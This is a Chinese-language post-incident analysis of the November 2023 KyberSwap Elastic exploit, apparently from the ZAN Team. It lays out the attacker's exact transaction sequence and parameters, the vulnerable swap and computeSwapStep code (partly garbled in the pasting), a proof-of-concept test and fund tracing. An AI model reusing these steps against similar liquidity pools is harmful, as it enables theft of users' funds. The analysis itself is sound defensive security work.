2023年11月23日,一名twitter用户Spreek发推表示,DEX聚合器和流动性平台KyberSwap在Ethereum、Polygon、Base等多条链上遭遇攻击(https://twitter.com/spreekaway/status/1727462694138024249),损失约5000万美元。攻击者在攻击完成后给KyberSwap留言称将在休息好之后与项目方进行谈判。目前,在KyberSwap官网能看到项目方表明自己遭遇了攻击,提醒用户撤出资金。
该攻击的本质在于计算swap交易在某Tick区间可兑换的最大值时,KyberSwap将swap交易产生的手续费加入到基本流动性一起计算,导致计算出的可兑换的最大值满足用户的兑换需求,进一步导致兑换后的价格超出了Tick边界价格,并且KyberSwap仅使用不等于对算出来的价格进行检查,从而攻击者可以利用该检查,绕过流动性更新,最终获利。下面我们将对攻击路径进行详细地分析。
1.1. 攻击简述
KyberSwap是一个DEX聚合器和DeFi中心,其聚合了来自15条链上的100多个流动性来源,并对这些来源进行拆分以及重新路由交易,从而给用户提供更有利的swap价格以及更方便的跨链swap。
Tick 例子(https://docs.kyberswap.com/liquidity-solutions/kyberswap-elastic/concepts/tick-range-mechanism)
为了让LP能够在自定义价格区间提供流动性,KyberSwap采用了与Uniswap V3类似的将可能的价格空间划分为离散的“Ticks”的方式来实现这一点,LP可以在任何两个Tick之间提供流动性。在进行swap交易时。当价格超出了当前Tick的价格范围时,当前Tick将会移动到下一个Tick,并以新的价格继续兑换,直到达到用户要求的兑换数量或达到用户设置的价格上限。在Kyber的设计中,切换Tick将会改变池子的流动性,Kyber将“价格移动到新的Tick”定义为Cross Tick。而KyberSwap本次遭遇的攻击,便是跟“Cross Tick”息息相关。此外,不同于UniswapV3,Kyber加入了支持再投资的Elastic池,Elastic池会将交易产生的手续费作为流动性再次加入到池子中,使得 LP 的费用即使在价格超出仓位范围时也能复利赚取收益。
这里以一个简单的例子来进一步说明Cross Tick的过程。在如上图所示的例子中,当前池子共有三个仓位,橙色的仓位1的价格范围是T1-T6,蓝色的仓位2的价格范围是T4-T8,绿色的仓位3的价格范围是T5-T10。我们假设池子当前的Tick为T5,如图中所示,T5位置的当前流动性由仓位1,仓位2和仓位3组成,当前价格的流动性总和为500。如果此时有一笔大额交换使当前价格越过了T5,进入了T4的价格范围,即发生了Cross Tick,由于T4超出了仓位3的价格范围,那么此时,仓位3的流动性会被移除,池子当前的流动性总和变为400。
类似地,假设当前Tick(currentTick)为T4,且发生了一次反向交换使池子从T4 Cross Tick到T5,那么此时进入了仓位3的价格范围,则池子的流动性会增加100,池子的流动性总和从400变为500。
在本次攻击事件中,攻击者通过两次交换实现了获利。在第一次交换中,攻击者使用WETH兑换frxETH,使价格向右移动,但通过对兑换数量和价格的精确操纵,跳过了扣除流动性的操作。在第二次交换中,攻击者将frxETH换回WETH,使价格向左移动,这次兑换使池子的流动性增加。相当于池子增加了双倍的流动性。下面我们将详细解析漏洞产生的原理。
1.2. 攻击中涉及的关键地址
本次攻击涉及到Ethereum、Base、Polygon等多条链,此处我们仅以Ethereum上的一笔攻击交易为例来进行分析。
攻击交易:
https://etherscan.io/tx/0x485e08dc2b6a4b3aeadcb89c3d18a37666dc7d9424961a 2091d6b3696792f0f3
攻击者地址:
0x50275E0B7261559cE1644014d4b78D4AA63BE836
攻击合约:
0xaF2Acf3D4ab78e4c702256D214a3189A874CDC13
KyberSwap漏洞合约
0xfd7b111aa83b9b6f547e617c7601efd997f64703
1.3. 攻击流程分析
为了便于理解,我们将攻击流程分为攻击准备和攻击实施两个步骤。
1.3.1. 攻击准备
攻击准备阶段的目的是为了在某个不具备流动性的Tick区间提供好流动性,为攻击实施创造好条件。具体步骤如下:
-
攻击者从Aave V3中闪电贷出2000个WETH。
-
攻击者调用漏洞合约的
swap
函数,输入参数如下,攻击者在参数中指定了limitSqrtP
为20,282,409,603,651,670,423,947,251,286,016(Tick 110,909处的价格)。在swap的过程中,当swap的代币数量达到了参数中的swapQty
或者swap的价格达到了参数中limitSqrtP
,swap就会停止。此处因为价格达到了限制,所以swap终止,最终攻击者以约6.85个WETH换得约6.37个frxETH。此时价格调整至20,282,409,603,651,670,423,947,251,286,016,currentTick为110,909。{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "2000000000000000000000",
"isToken0": false,
"limitSqrtP": "20282409603651670423947251286016",
"data": "0x"
},
"return": {
"deltaQty0": "-6371028957698847497",
"deltaQty1": "6849615814404497512"
}
}
-
攻击者往池子里面转入约0.0069个frxETH以及0.11个WETH,在指定Tick区间[110909, 111310]提供数值为89,631,297,100,385,708,499的流动性。
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "mint",
"args": {
"params": [
{
"token0": "0x5e8422345238f34275888049021821e8e08caa1f",
"token1": "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2",
"fee": "10",
"tickLower": "110909",
"tickUpper": "111310",
"ticksPrevious": [
"48",
"48"
],
"amount0Desired": "6948087773336076",
"amount1Desired": "107809615846697233",
"amount0Min": "0",
"amount1Min": "0",
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"deadline": "1700693711"
}
]
},
"return": {
"tokenId": "359",
"liquidity": "89631297100385708499",
"amount0": "6948087773336076",
"amount1": "107809615846697233"
}
}
-
攻击者移除了在第3步中添加的部分流动性。
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "removeLiquidity",
"args": {
"params": [
{
"tokenId": "359",
"liquidity": "14938549516730950591",
"amount0Min": "0",
"amount1Min": "0",
"deadline": "1700693711"
}
]
},
"return": {
"amount0": "1158014628889345",
"amount1": "17968269307782871",
"additionalRTokenOwed": "0"
}
}
此时池子的状态如下,能看到目前攻击者在Tick区间[110909, 111310]剩余的流动性数值为74,692,747,583,654,757,908,这个数值是攻击者精心计算出来的,能使得在攻击实施阶段的第一次swap中,刚好算出达到兑换要求的swap数量,而在这个Tick区间,只有攻击者添加的流动性。
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "getLiquidityState",
"args": [],
"return": {
"baseL": "74692747583654757908",
"reinvestL": "1851411303269421",
"reinvestLLast": "1851411303269421"
}
}
至此,攻击者为接下来将要实施攻击的Tick区间[110909, 111310]准备好了流动性。
1.3.2. 攻击实施
攻击者通过另外的两次swap交易执行攻击。我们来分析swap
函数的关键逻辑以及攻击者的利用逻辑:
【第一次swap】
攻击者第一次swap交易的调用参数如下,攻击者意图用约387个WETH兑换frxETH。
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "387170294533119999999",
"isToken0": false,
"limitSqrtP": "1461446703485210103287273052203988822378723970341",
"data": "0x"
},
"return": {
"deltaQty0": "-5789927137555359",
"deltaQty1": "387170294533119999999"
}
}
-
当
swap
执行到第22行时,将会获取初始化兑换参数,包括池子的currentTick、nextTick以及当前的价格。通过跟踪交易能看到,当前价格为202,824,096,036,516,704,239,472,512,86,016,对应的currenTick为110909,nextTick为111310。执行到swap
33行时,计算出111310 Tick处的价格为20,693,058,119,558,072,255,662,180,724,088。本次兑换主要涉及的Tick区间正好是攻击者准备阶段提供流动性的区间。之所以能在这个区间进行本次兑换,是因为攻击者在准备阶段刻意将价格推到了Tick 110909处对应的价格。{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "_getInitialSwapData",
"args": {
"willUpTick": true
},
"return": {
"baseL": "74692747583654757908",
"reinvestL": "1851411303269421",
"sqrtP": "20282409603651670423947251286016",
"currentTick": "110909",
"nextTick": "111310"
}
}
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external override lock returns (int256 deltaQty0, int256 deltaQty1) {
require(swapQty != 0, '0 swapQty');
SwapData memory swapData;
swapData.specifiedAmount = swapQty;
swapData.isToken0 = isToken0;
swapData.isExactInput = swapData.specifiedAmount > 0;
// tick (token1Qty/token0Qty) will increase for swapping from token1 to token0
bool willUpTick = (swapData.isExactInput != isToken0);
(
swapData.baseL,
swapData.reinvestL,
swapData.sqrtP,
swapData.currentTick, // 110,909
swapData.nextTick // 111,310
) = _getInitialSwapData(willUpTick);
// ...
while (swapData.specifiedAmount != 0 && swapData.sqrtP != limitSqrtP) {
// math calculations work with the assumption that the price diff is capped to 5%
// since tick distance is uncapped between currentTick and nextTick
// we use tempNextTick to satisfy our assumption with MAX_TICK_DISTANCE is set to be matched this condition
int24 tempNextTick = swapData.nextTick;
swapData.startSqrtP = swapData.sqrtP;
swapData.nextSqrtP = TickMath.getSqrtRatioAtTick(tempNextTick);
// local scope for targetSqrtP, usedAmount, returnedAmount and deltaL
{
(usedAmount, returnedAmount, deltaL, swapData.sqrtP) = SwapMath.computeSwapStep(
swapData.baseL + swapData.reinvestL,
swapData.sqrtP,
targetSqrtP,
swapFeeUnits,
swapData.specifiedAmount,
swapData.isExactInput,
swapData.isToken0
);
swapData.specifiedAmount -= usedAmount;
swapData.returnedAmount += returnedAmount;
swapData.reinvestL += deltaL.toUint128();
}
// if price has not reached the next sqrt price
if (swapData.sqrtP != swapData.nextSqrtP) {
if (swapData.sqrtP != swapData.startSqrtP) {
// update the current tick data in case the sqrtP has changed
swapData.currentTick = TickMath.getTickAtSqrtRatio(swapData.sqrtP);
}
break;
}
(swapData.baseL, swapData.nextTick) = _updateLiquidityAndCrossTick(
swapData.nextTick,
swapData.baseL,
cache.feeGrowthGlobal,
cache.secondsPerLiquidityGlobal,
willUpTick
);
}
_updatePoolData(
swapData.baseL,
swapData.reinvestL,
swapData.sqrtP,
swapData.currentTick,
swapData.nextTick
);
}
-
当
swap
执行到第37行时,将会调用SwapMath.computeSwapStep
更新目前已兑换的数量(usedAmount)、需要发送给用户的代币数量(returnedAmount),手续费(deltaL)以及兑换价格(swapData.sqrtP)。在SwapMath.computeSwapStep
中,会去计算当前Tick区间能兑换的最大值,跟踪交易得知,计算出来的最大值为387,170,294,533,120,000,000,刚好比用户要求的兑换量大1。说明池子认为Tick区间[110909, 111310]能兑换的数量已经满足攻击者要求,并不会跨到111310这个Tick去兑换。从而swapData.sqrtP被更新为20,693,058,119,558,072,255,665,971,001,964,这个价格超过了在第1步里面计算出的Tick 111310处的价格20,693,058,119,558,072,255,662,180,724,088。{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "computeSwapStep",
"args": {
"liquidity": "74694598994958027329",
"currentSqrtP": "20282409603651670423947251286016",
"targetSqrtP": "20693058119558072255662180724088",
"feeInFeeUnits": "10",
"specifiedAmount": "387170294533119999999",
"isExactInput": true,
"isToken0": false
},
"return": {
"usedAmount": "387170294533119999999",
"returnedAmount": "-5789927137555358",
"deltaL": "75619198150999",
"nextSqrtP": "20693058119558072255665971001964"
}
}
-
回到
swap
函数的第53 – 56行,因为第2步中计算出的sqrtP并不等于nextSqrtP,因此if语句为真,继而使用错误的价格计算出了错误的currentTick,即111310,而此时真正的currentTick应该是第一步中计算出的110909。第67行的break跳出了while循环,同时也跳过了第61行的Cross Tick操作,也就是说,尽管池子此时的状态实际上已经Cross Tick,但本应该在第61行进行的流动性扣除操作被跳过了。此处关键是为什么计算出来的sqrtP并不等于nextSqrtP(Tick 111310处的价格)?原因请见#2. 漏洞原理分析#。 -
swap
函数继续执行到第70行,更新池子状态,由于步骤3计算出的currentTick出错,导致更新状态后,池子的currentTick和nextTick都为111310。这种错误状态将会导致攻击者在第二次的反向交换中,会再次将本该被移除的流动性被添加到池子中,造成双倍的流动性添加。{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "_updatePoolData",
"args": {
"baseL": "74692747583654757908",
"reinvestL": "1927030501420420",
"sqrtP": "20693058119558072255665971001964",
"currentTick": "111310",
"nextTick": "111310"
},
"return": []
}
【第二次swap】
攻击者再次调用漏洞合约的swap
函数,这一次与上一次交易方向相反,是用frxETH换取WETH。攻击者用约0.0059个frxETH换到了396.24个WETH。攻击者传入的参数如下,正如前面提到的,本次调用之前,池子的currentTick和nextTick都为111310,池子状态在上一次swap已经Cross Tick到111310,但流动性并没有被扣除。而在此次交换中,池子再次发生Cross Tick,流动性增加,相当于流动性被计算了两次,池子认为自己有更多的流动性。这也是相比上一次swap,攻击者用较少的frxETH换到了明显更多的WETH的原因。
{
"msg.sender": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"func": "swap",
"args": {
"recipient": "0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
"swapQty": "-396244493223555299358",
"isToken0": false,
"limitSqrtP": "4295128740",
"data": "0x"
},
"return": {
"deltaQty0": "5868809110205016",
"deltaQty1": "-396244493223555299358"
}
}
第二次swap交易流动性变化(https://explorer.phalcon.xyz/tx/eth/0x485e08dc2b6a4b3aeadcb89c3d18a37666dc7d9424961a2091d6b3696792f0f3)
下面我们用攻击者的trace,结合合约模拟,看一看第一次交换到底为什么会导致池子状态更新错误。
// _getInitialSwapData:获取swap初始数据,包括价格、Tick等
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"_getInitialSwapData",
args:{
willUpTick:true
},
return:{
baseL:"74,692,747,583,654,757,908",
reinvestL:"1,851,411,303,269,421",
sqrtP:"20,282,409,603,651,670,423,947,251,286,016",
currentTick:"110,909",
nextTick:"111,310",
}
}
// computeSwapStep: 更新目前已兑换的数量(usedAmount)、需要发送给用户的代币数量(returnedAmount),手续费(deltaL)以及兑换价格(swapData.sqrtP)
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"computeSwapStep",
args:{
liquidity:"74,694,598,994,958,027,329",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
targetSqrtP:"20,693,058,119,558,072,255,662,180,724,088",
feeInFeeUnits:"10",
specifiedAmount:"387,170,294,533,119,999,999",
isExactInput:true,
isToken0:false,
},
return:{
usedAmount:"387,170,294,533,119,999,999",
returnedAmount:"-5,789,927,137,555,358",
deltaL:"75,619,198,150,999",
nextSqrtP:"20,693,058,119,558,072,255,665,971,001,964",
}
}
// calcReachAmount: 计算当前Tick最多能兑换的数量
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"calcReachAmount",
args:{
liquidity:"74,694,598,994,958,027,329",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
targetSqrtP:"20,693,058,119,558,072,255,662,180,724,088",
feeInFeeUnits:"10",
isExactInput:true,
isToken0:false,
},
return:{
reachAmount:"387,170,294,533,120,000,000"
}
}
// calcFinalPrice: 计算加入手续费后的最终兑换价格
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"calcFinalPrice",
args:{
absDelta:"387,170,294,533,119,999,999",
liquidity:"74,694,598,994,958,027,329",
deltaL:"75,619,198,150,999",
currentSqrtP:"20,282,409,603,651,670,423,947,251,286,016",
isExactInput:true,
isToken0:false,
},
return:{
out0:"20,693,058,119,558,072,255,665,971,001,964"
}
}
// _updatePoolData: 更新池子状态
{
msg.sender:"0xaf2acf3d4ab78e4c702256d214a3189a874cdc13",
func:"_updatePoolData",
args:{
baseL:"74,692,747,583,654,757,908",
reinvestL:"1,927,030,501,420,420",
sqrtP:"20,693,058,119,558,072,255,665,971,001,964",
currentTick:"111,310",
nextTick:"111,310",
},
return:[
]
}
function swap(
address recipient,
int256 swapQty,
bool isToken0,
uint160 limitSqrtP,
bytes calldata data
) external override lock returns (int256 deltaQty0, int256 deltaQty1) {
// ...
while (swapData.specifiedAmount != 0 && swapData.sqrtP != limitSqrtP) {
(usedAmount, returnedAmount, deltaL, swapData.sqrtP) = SwapMath.computeSwapStep(
swapData.baseL + swapData.reinvestL,
swapData.sqrtP,
targetSqrtP,
swapFeeUnits,
swapData.specifiedAmount,
swapData.isExactInput,
swapData.isToken0
);
// ...
// if price has not reached the next sqrt price
if (swapData.sqrtP != swapData.nextSqrtP) {
if (swapData.sqrtP != swapData.startSqrtP) {
// update the current tick data in case the sqrtP has changed
swapData.currentTick = TickMath.getTickAtSqrtRatio(swapData.sqrtP);
}
break;
}
跳过Cross Tick操作的关键是第21行对swapData.sqrtP
和swapData.nextSqrtP
是否相等的判断,理论上,当池子Cross Tick时,由于超出当前Tick的价格边界,sqrtP将被更新为下一个Tick的价格,第10行computeSwapStep
计算出的swapData.sqrtP
应该与swapData.nextSqrtP
相等。然而,当swap执行到第21行,此时的sqrtP
却与nextSqrtP
并不相等。导致池子认为没有Cross Tick,通过break跳出了循环,跳过了后面cross tick并更新池子流动性的操作。
在攻击者的实际交易数据中,传入到computeSwapStep
的specifiedAmount
参数为387,170,294,533,119,999,999。而当前Tick能兑换的最大数量通过calcReachAmount
计算出为387,170,294,533,120,000,000(恰好比攻击者要兑换的数量多1)。然而,最终调用calcFinalPrice
时,真正计算出的价格为20,693,058,119,558,072,255,665,971,001,964,我们将该价格传入到getTickAtSqrtRatio
中去计算它对应的Tick,发现它对应的Tick为111310,而不是当前的Tick(110909)。
这印证了我们之前的推测,即calcFinalPrice
在兑换数量未超过calcReachAmount
计算出的不会造成Cross Tick的最大可兑换数量的情况下,计算出的价格落入到下一个Tick的价格范围。
那么,究竟是什么原因导致兑换数量未超过calcReachAmount
计算的不会造成Cross Tick的最大数量的情况下,池子最终Cross Tick了呢?
问题就出在Kyber Elastic池的再投资机制上,可以看到swap
函数第22行中,池子的流动性还额外添加了再投资流动性。会不会是额外加上的再投资流动性导致calcReachAmount
计算出错了呢?
为了验证我们的猜想,我们编写了一个PoC合约来模拟这两种情况的执行结果。
function testCalcReachAmount() external pure returns (int256, int256) {
uint256 baseL = 74692747583654757908;
uint256 reinvastL = 1851411303269421;
int256 usedAmountWithReinvastL = SwapMath.calcReachAmount(baseL + reinvastL, 20282409603651670423947251286016,20693058119558072255662180724088, 10, true, false);
int256 usedAmountNonReinvastL = SwapMath.calcReachAmount(baseL, 20282409603651670423947251286016,20693058119558072255662180724088, 10, true, false);
return (usedAmountWithReinvastL, usedAmountNonReinvastL);
}
我们抓取了攻击者的输入,并分别用和Kyber合约相同的计算方式和去除再投资流动性的计算方式分别计算不会导致Cross Tick的最大可交换数量。可以看到,再加入再投资流动性后,计算出的不会导致Cross Tick的最大可交换数量为387,170,294,533,120,000,000(Kyber合约的计算结果),而不考虑再投资流动性时,计算出的最大可交换数量仅为387,160,697,969,657,129,472,而攻击者的交换数量恰好超出了这个值。
在calcReachAmount
计算出错后,computeSwapStep
满足了usedAmount(387,170,294,533,120,000,000) > specifiedAmount(387,170,294,533,119,999,999)的判断条件,因此池子认为此时并未Cross Tick,也就不需要将nextSqrtP更新为targetSqrtP,而是通过calcFinalPrice计算出最终价格,这也就解释了为什么最终sqrtP与nextSqrtP并不相等,导致流动性更新操作被跳过。
function computeSwapStep(
uint256 liquidity,
uint160 currentSqrtP,
uint160 targetSqrtP,
uint256 feeInFeeUnits,
int256 specifiedAmount,
bool isExactInput,
bool isToken0
)
internal
pure
returns (
int256 usedAmount,
int256 returnedAmount,
uint256 deltaL,
uint160 nextSqrtP
)
{
in the event currentSqrtP == targetSqrtP because of tick movements, return
eg. swapped up tick where specified price limit is on an initialised tick
then swapping down tick will cause next tick to be the same as the current tick
if (currentSqrtP == targetSqrtP) return (0, 0, 0, currentSqrtP);
usedAmount = calcReachAmount(
liquidity,
currentSqrtP,
targetSqrtP,
feeInFeeUnits,
isExactInput,
isToken0
);
if (
&& usedAmount > specifiedAmount) ||
&& usedAmount <= specifiedAmount)
{
usedAmount = specifiedAmount;
else {
nextSqrtP = targetSqrtP;
}
uint256 absDelta = usedAmount >= 0 ? uint256(usedAmount) : usedAmount.revToUint256();
if (nextSqrtP == 0) {
deltaL = estimateIncrementalLiquidity(
absDelta,
liquidity,
currentSqrtP,
feeInFeeUnits,
isExactInput,
isToken0
);
nextSqrtP = calcFinalPrice(absDelta, liquidity, deltaL, currentSqrtP, isExactInput, isToken0)
.toUint160();
else {
deltaL = calcIncrementalLiquidity(
absDelta,
liquidity,
currentSqrtP,
nextSqrtP,
isExactInput,
isToken0
);
}
returnedAmount = calcReturnedAmount(
liquidity,
currentSqrtP,
nextSqrtP,
deltaL,
isExactInput,
isToken0
);
}
继续跟踪攻击者的调用轨迹,我们发现确实如我们的猜测,_updatePoolData
更新了错误的池子状态数据,将池子的currentTick和nextTick都设置为了111310。
我们使用ZAN KYT工具对攻击者地址进行资金流追踪:https://zan.top/kyt/controller/transaction/?entity=0x50275e0b7261559ce1644014d4b78d4aa63be836&ecosystem=ethereum
-
0x50275e0b7261559ce1644014d4b78d4aa63be836
该地址为Ethereum上首次发起攻击的地址
根据KYT资金流图显示,攻击者将攻击所得资金通过Optimism的跨链桥转到了Optimism链上,以及使用arbitrum跨链桥转移到了arbitrum上,作为了两条链的攻击交易初始资金。此外还转入Scroll、Base等链。并且有意思的是攻击者还收到了来自Euler Finance攻击者的“邀请”(0x560e7c572a47f6b09856fa0319089a5cde46be3c14c27bed371f1c0f6708b155)
而在BSC链上,该地址收到了来自混币跨链桥fixedfloat转入的4.2678个BNB,之后便没有操作。polygon链上,该地址将100个Matic转给了0xc9b826bad20872eb29f9b1d8af4befe8460b50c6,之后也没有其他操作。
在Arbitrum链上,攻击者将资金转移到了地址0x98d69d3ea5f7e03098400a5bedfbe49f2b0b88d3上,并且将总共300WETH通过across跨链桥转回到了以太坊。目前资金暂时没有去向。
-
0xc9b826bad20872eb29f9b1d8af4befe8460b50c6
在Optimism链上,攻击者汇聚了wstETH、WETH、OP等获利token。
其中,攻击者将168.5万个USDC抵押进了Aave v3中,其余资产暂未操作。
在BASE链上,该地址将获利的61051 USDC、124.22 WETH等资产留在该地址上,USDC兑换成了WETH,暂无其他操作。
在Avalanche链上,该地址留存293.08 WAVAX、17316.03 USDC,暂无操作。
在Arbitrum链上,该地址获利826528 DAI、13 WBTC等资产,大部分资产留在了该地址中。其中有500 WETH转入了0x98d69d3ea5f7e03098400a5bedfbe49f2b0b88d3,1000 WETH转给了Indexed Finance攻击者地址(0x84e66f86c28502c0fc8613e1d9cbbed806f7adb4)
随着UniswapV3的兴起,越来越多的项目开始拥抱这种新兴的“集中流动性”做市算法。集中流动性相比之前的恒定乘积和恒定和做市算法具有资本利用率更高,交易滑点更低的优势,但相比这二者,集中流动性的算法的复杂程度大大增加,更有许多在明星项目上进行“创新”和“改进”的各种仿盘,这些隐藏在代码中的问题往往非常隐蔽、难于发现。我们建议所有项目在上线前进行的充分测试,并寻求专业的合约审计专家的建议和服务。
原文始发于微信公众号(ZAN Team):可能是有史以来最精巧的攻击 -KyberSwap 攻击分析